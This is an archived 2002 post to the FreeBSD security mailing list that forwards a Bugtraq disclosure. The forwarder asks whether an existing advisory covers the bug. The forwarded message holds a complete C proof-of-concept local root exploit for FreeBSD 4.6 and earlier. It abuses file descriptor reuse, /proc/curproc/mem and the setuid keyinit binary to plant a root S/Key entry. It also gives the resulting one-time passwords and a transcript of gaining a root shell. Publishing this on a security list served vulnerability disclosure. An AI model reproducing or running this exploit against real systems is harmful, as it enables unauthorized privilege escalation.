Date: Mon, 19 Aug 2002 19:06:09 -0400 From: Mike Tancsa <mike@sentex.net> To: security@freebsd.org Subject: Fwd: Freebsd FD exploit Message-ID: <5.1.0.14.0.20020819190243.03854300@192.168.0.12>
next in thread | raw e-mail | index | archive | help
--=====================_941369247==_
Content-Type: text/plain; charset="us-ascii"; format=flowed
From bugtraq for those of you not on bugtraq. I take it this was
addressed in FreeBSD-SA-02:23.stdio ?
---Mike
>Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
>List-Id: <bugtraq.list-id.securityfocus.com>
>List-Post: <mailto:bugtraq@securityfocus.com>
>List-Help: <mailto:bugtraq-help@securityfocus.com>
>List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
>List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
>Delivered-To: mailing list bugtraq@securityfocus.com
>Delivered-To: moderator for bugtraq@securityfocus.com
>From: "dvdman" <dvdman@l33tsecurity.com>
>To: <bugtraq@lists.securityfocus.com>
>Subject: Freebsd FD exploit
>Date: Sun, 18 Aug 2002 21:01:13 -0400
>X-Mailer: Microsoft Outlook Express 6.00.2600.0000
>X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.11
>X-Virus-Scanned: amavis-20020220
>
>/* Proof Of Concept exploit for the Freebsd file descriptors bug. Freebsd
>thought they fixed this months ago well guess again :P Thanks to the
>Freebsd kernel you may now enjoy local root on all freebsd <=4.6 ;) */
>
>
--=====================_941369247==_
Content-Type: text/plain; charset="us-ascii"
/* Proof Of Concept exploit for the Freebsd file descriptors bug. Freebsd
thought they fixed this months ago well guess again :P Thanks to the
Freebsd kernel you may now enjoy local root on all freebsd <=4.6 ;) */
/* *I AM FREE* *I AM FREE**I AM FREE**I AM FREE**I AM FREE**I AM FREE**I
AM FREE**I AM FREE**I AM FREE**I AM FREE**I AM FREE**I AM FREE**I AM
FREE**I AM FREE**I AM FREE**I AM FREE**I AM FREE**I AM FREE**I AM FREE**I
AM FREE* */
DVDMAN(DVDMAN@L33TSECURITY.COM)
Visit Us: irc.efnet.org #l33tsecurity
www.l33tsecurity.com
And Freebsd thought they fixed this :P
GREETS:
thanks phased for skeys from iosmash.c :)
thanks all of #l33tsecurity for support
thanks Georgi Guninski for ideas
Details:
Several months ago Joost Pol <joost@pine.nl> made public almost the same
problem. FreeBSD fixed it, but the patch does not cover all the cases. In
some cases the kernel closes fds 0..2 after they are assigned to /dev/null,
leaving the system open to an attack. If a +s file is execed and fds 0..2
are opened to /proc/curproc/{special} then the kernel forcefully closes
them and open() then reuses them.
this program makes the following skeys valid
95: CARE LIVE CARD LOFT CHIC HILL
96: TESS OIL WELD DUD MUTE KIT
97: DADE BED DRY JAW GRAB NOV
98: MASS OAT ROLL TOOL AGO CAM
99: DARK LEW JOLT JIVE MOS WHO
PROOF:
[dvdman@xxxx:~]$ uname -a
FreeBSD xxx.xx 4.6-STABLE FreeBSD 4.6-STABLE #1: Sat Jul27 20:16:20 GMT 2002 dvdman@xxxx:/usr/obj/usr/src/sys/xxx i386
[dvdman@xxxx:~]$ gcc iosmash2.c
[dvdman@xxxx:~]$ ./a.out
Adding dvdman:
ctrl-c
[dvdman@xxxx:~]$ su
s/key 98 snosoft2
Password:
[root@xxxx:/home/dvdman]#
*/
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <errno.h>
int main(int argc, char *argv[])
{
int f;
int ret;
while(dup(1) != -1) {};
close(2);
close(3);
f=open("/proc/curproc/mem",O_WRONLY);
if (f==-1) fprintf(stdout,"Error in open /proc\n");
fprintf(stdout,"press ctrl-c when adding...");
ret = execl("/usr/bin/keyinit","\nroot 0099 snosoft2 6f648e8bd0e2988a Apr 23,2666 01:02:03\n",0);
if(ret == -1) {
fprintf(stdout,"execl() failed: %s (%d)\n",strerror(errno),errno);
}
}
--=====================_941369247==_
Content-Type: text/plain; charset="us-ascii"; format=flowed
--------------------------------------------------------------------
Mike Tancsa, tel +1 519 651 3400
Sentex Communications, mike@sentex.net
Providing Internet since 1994 www.sentex.net
Cambridge, Ontario Canada www.sentex.net/mike
--=====================_941369247==_--
To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?5.1.0.14.0.20020819190243.03854300>